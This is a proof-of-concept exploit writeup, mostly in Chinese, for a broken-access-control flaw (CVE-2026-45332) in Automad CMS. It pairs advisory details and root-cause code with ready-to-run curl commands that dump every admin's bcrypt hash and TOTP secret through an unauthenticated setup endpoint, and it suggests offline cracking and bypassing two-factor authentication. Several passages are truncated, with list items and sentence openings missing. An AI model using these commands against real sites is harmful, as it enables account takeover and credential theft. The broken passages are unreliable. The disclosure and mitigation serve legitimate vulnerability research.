Proof-of-concept exploit for CVE-2026-45332, a broken access control in Automad CMS allowing unauthenticated dump of admin bcrypt hashes and TOTP secrets.
CVE-2026-45332 的概念验证,Automad CMS 中的失效访问控制漏洞,允许任何未经身份验证的攻击者通过设置端点转储每个管理员账户的 bcrypt 密码哈希和 TOTP 密钥,该端点在初始配置后永远不会被禁用。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| 产品 | Automad CMS (composer automad/automad) |
| 受影响版本 | >= 2.0.0-alpha.1,<= 2.0.0-beta.27 |
| 已修补版本 | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 高 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200(敏感信息泄露),CWE-306(关键功能缺少身份验证) |
| 研究人员 | Lorenzo Camilli |
Automad 是一个基于文件的 PHP CMS。负责创建第一个管理员账户的设置端点 /_api/user-collection/create-first-user 被注册为永久公共 API 路由。一旦初始配置完成,没有任何防护将其关闭。
在运行中且完全配置的实例上,未经身份验证的 POST 请求到此端点会从磁盘加载整个用户数据库,并将其序列化后返回在 JSON 响应体中,包括:
2.0.0-beta.27)无需任何事先账户、凭据或特殊网络位置。
该路由被放置在 automad/src/server/Routes.php 的 $publicAPIRoutes 数组中,并在条件 AM_PAGE_DASHBOARD 下注册,该常量计算结果为字符串 '/dashboard',因此始终为真。该路由在每个安装中始终保持注册状态,包括设置完成后。
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // loads ALL existing users from disk
// ...
$php = $UserCollection->generatePHP(); // serializes every user including hashes
return $Response->setData(array(
'php' => $php, // credential hashes returned in response
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absolute path leaked
));
}
User::__serialize() 包含私有字段 passwordHash 和 totpSecret,因此它们会嵌入到返回给调用者的序列化输出中。
完整技术文章:PoC.md。
该端点需要有效的 CSRF 令牌和 Automad 会话 cookie,两者均可从公共登录页面自由获取。复现步骤:
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
响应中包含每个已注册管理员的 bcrypt 哈希和 TOTP 密钥,以及绝对配置路径:
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
然后可以离线破解 bcrypt 哈希(使用 Hashcat / John)。在 2.0.0-beta.27 中,泄露的 TOTP 密钥可直接绕过双因素认证。
未经身份验证的远程攻击者可以:
2.0.0-beta.27)。更新至 Automad 2.0.0-beta.28 或更高版本,该版本在初始设置完成后会限制该端点。作为临时缓解措施,在网络服务器或 WAF 处阻止请求到 /_api/user-collection/create-first-user。